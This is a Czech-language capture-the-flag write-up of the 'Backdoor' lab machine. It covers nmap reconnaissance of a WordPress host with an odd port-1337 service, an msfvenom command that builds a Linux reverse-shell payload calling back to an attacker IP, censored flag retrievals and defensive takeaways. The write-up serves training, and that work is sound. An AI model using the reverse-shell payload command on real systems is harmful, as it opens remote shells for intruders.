Backdoor
Úvod a kontext
Backdoor je stručnější článek, ale i tak je na něm dobře vidět, že hlavní signál neleží jen ve WordPressu. Vedle běžné webové vrstvy je tu i nestandardní služba na portu 1337, která naznačuje další lokální attack surface mimo samotné CMS.
Z pedagogického hlediska je tady důležitý hlavně přechod od webového footholdu k ručně připravenému payloadu revlinx64.bin. Po získání shellu se pak těžiště přesouvá na lokální analýzu procesu a služeb, ne na další webový exploit.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Backdoor – Real-Life
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
1337/tcp open waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4000 PrependFork=true -o revlinx64.bin
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
cat root.txt
__CENSORED__
Shrnutí klíčových poznatků
- Rozhodující nebyl jen WordPress 5.8.1, ale i přítomnost vlastní služby na portu
1337, která naznačuje druhou vrstvu útoku. - Foothold tady stojí na ručně připraveném reverse payloadu
revlinx64.bin, tedy na převodu prvotního vstupu v reálný shell. - Další postup už není o další webové chybě, ale o lokální enumeraci procesů, portů a pomocných služeb po získání přístupu.
Co si odnést do praxe
- WordPress je potřeba hodnotit spolu s pluginy, tématy a vedlejšími službami v hostu. Útočníka často nezajímá jen web samotný, ale i to, jaké další procesy vedle něj naslouchají.
- Jednorázový webový foothold je jen začátek. Obrana musí umět zachytit i okamžik, kdy si útočník na kompromitovaném hostu stahuje nebo spouští vlastní payload.
- Vlastní pomocné služby a „backdoor-like“ procesy bývají po prvním shellu stejně důležité jako
sudo -l. Lokální enumerace proto nemá být chaotická, ale řízená podle procesů, socketů a neobvyklých portů.